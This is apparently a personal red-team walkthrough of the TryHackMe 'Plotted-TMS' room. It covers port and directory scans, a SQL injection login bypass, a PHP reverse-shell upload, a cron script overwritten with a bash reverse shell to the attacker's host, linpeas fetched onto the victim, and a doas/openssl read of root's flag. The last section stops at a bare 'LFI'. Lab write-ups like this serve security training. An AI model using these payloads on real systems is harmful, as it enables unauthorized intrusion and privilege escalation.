> For the complete documentation index, see [llms.txt](https://jeffgthompsons-organization.gitbook.io/red-team/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/plotted-tms.md).

# Plotted-TMS

**Room Link:** <https://tryhackme.com/room/plottedtms>

### Initial Scan

**Kali**

<pre><code><strong>nmap -A $VICTIM
</strong></code></pre>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FUHBWm5LjNDZ0FHysa3gp%2Fimage.png?alt=media&amp;token=58173853-b613-435e-80ac-39bb1f88b717" alt=""><figcaption></figcaption></figure>

### Scan all ports

No other ports found

**Kali**

<pre><code><strong>nmap -sV -sT -O -p 1-65535 $VICTIM
</strong></code></pre>

### TCP/80 - HTTP

**Kali**

```
gobuster dir -u http://$VICTIM -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F1oQCdmaXQXzSpj9tTgKg%2Fimage.png?alt=media&amp;token=d698abb6-cc6f-4c4b-901b-265e3bf0aa9f" alt=""><figcaption></figcaption></figure>

### TCP/445 - HTTP

**Kali**

```
gobuster dir -u http://$VICTIM:445 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FbkjvqQpcH0WkqwMqPvhK%2Fimage.png?alt=media&amp;token=1d252993-a02c-4bfb-a468-69a9be0ebe84" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FrvED7NL1NTJJmhtMOKDe%2Fimage.png?alt=media&amp;token=1e6841b9-dcc5-4042-ac58-616753dfb623" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FGaal0kr0mSOmJua25Smx%2Fimage.png?alt=media&amp;token=b24380d7-66f9-4a2a-9bc8-71f146741b65" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FvKBsChkYtlg1ej073WBx%2Fimage.png?alt=media&amp;token=338226da-5131-454d-bb45-e44706f548a0" alt=""><figcaption></figcaption></figure>

```
Username: admin' or '1'='1'-- -
Password: admin
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FLHLv2FQN8PvcYKkedHhm%2Fimage.png?alt=media&amp;token=735ce42d-4c99-4a99-9369-f6c2ebde4fb2" alt=""><figcaption></figcaption></figure>

## Initial Shell

**Kali**

```
git clone https://github.com/pentestmonkey/php-reverse-shell.git
cp php-reverse-shell/php-reverse-shell.php .
subl php-reverse-shell.php
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FV7zxID8f7XuAyMggWTk0%2Fimage.png?alt=media&amp;token=d34ea41a-c8a7-49c6-a5c9-7a41c6cf2dc6" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FZbrsQBd15sWq7E2vP04e%2Fimage.png?alt=media&amp;token=b7c06e27-b04a-42ee-b35a-ff912d71134f" alt=""><figcaption></figcaption></figure>

Get autocomplete

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
ctrl + Z
stty raw -echo;fg
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FjckPxCGgqTDkJ8JGFzGP%2Fimage.png?alt=media&amp;token=c8428d93-fd52-4306-8036-35e44c876bb0" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FMXBZ1doPWGegBAfbcFhw%2Fimage.png?alt=media&amp;token=04710190-adc7-416b-9cf1-54b56c429b02" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FEFVDGOcSlVdCdXzynTYT%2Fimage.png?alt=media&amp;token=4337c73a-6b63-453a-a56b-54912f1f6610" alt=""><figcaption></figcaption></figure>

**Victim**

```
rm -f /var/www/scripts/backup.sh 
echo '#!/bin/bash' > /var/www/scripts/backup.sh 
echo "sh -i >& /dev/tcp/$KALI/1338 0>&1" >> /var/www/scripts/backup.sh 
chmod +x /var/www/scripts/backup.sh
cat /var/www/scripts/backup.sh 
```

**Kali**

```
nc -lvnp 1338
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2Fi2SOpS0uHn192rqayYNb%2Fimage.png?alt=media&amp;token=923d7552-dc92-41cc-982d-f79352432cea" alt=""><figcaption></figcaption></figure>

Get autocomplete

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
ctrl + Z
stty raw -echo;fg
```

#### LinPeas

**Kali**

```
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
python2 -m SimpleHTTPServer 81
```

**Victim**

```
cd /tmp/
wget http://$KALI:81/linpeas.sh
chmod +x linpeas.sh 
./linpeas.sh
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FI9mmTH4wIEcANI1DmO9d%2Fimage.png?alt=media&amp;token=9138a48b-eb75-44b3-a610-540b3ef109ed" alt=""><figcaption></figcaption></figure>

###

## Privilege Escalation

### Option #1&#x20;

**Victim**

```
LFILE=/root/root.txt
doas -u root openssl enc -in "$LFILE"
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FQExYmYuq9NS53BlL4PZX%2Fimage.png?alt=media&amp;token=0b2449e5-f0ea-4016-88a1-9dcd1f869120" alt=""><figcaption></figcaption></figure>

### Option #2&#x20;

**Victim**

```
LFI
```
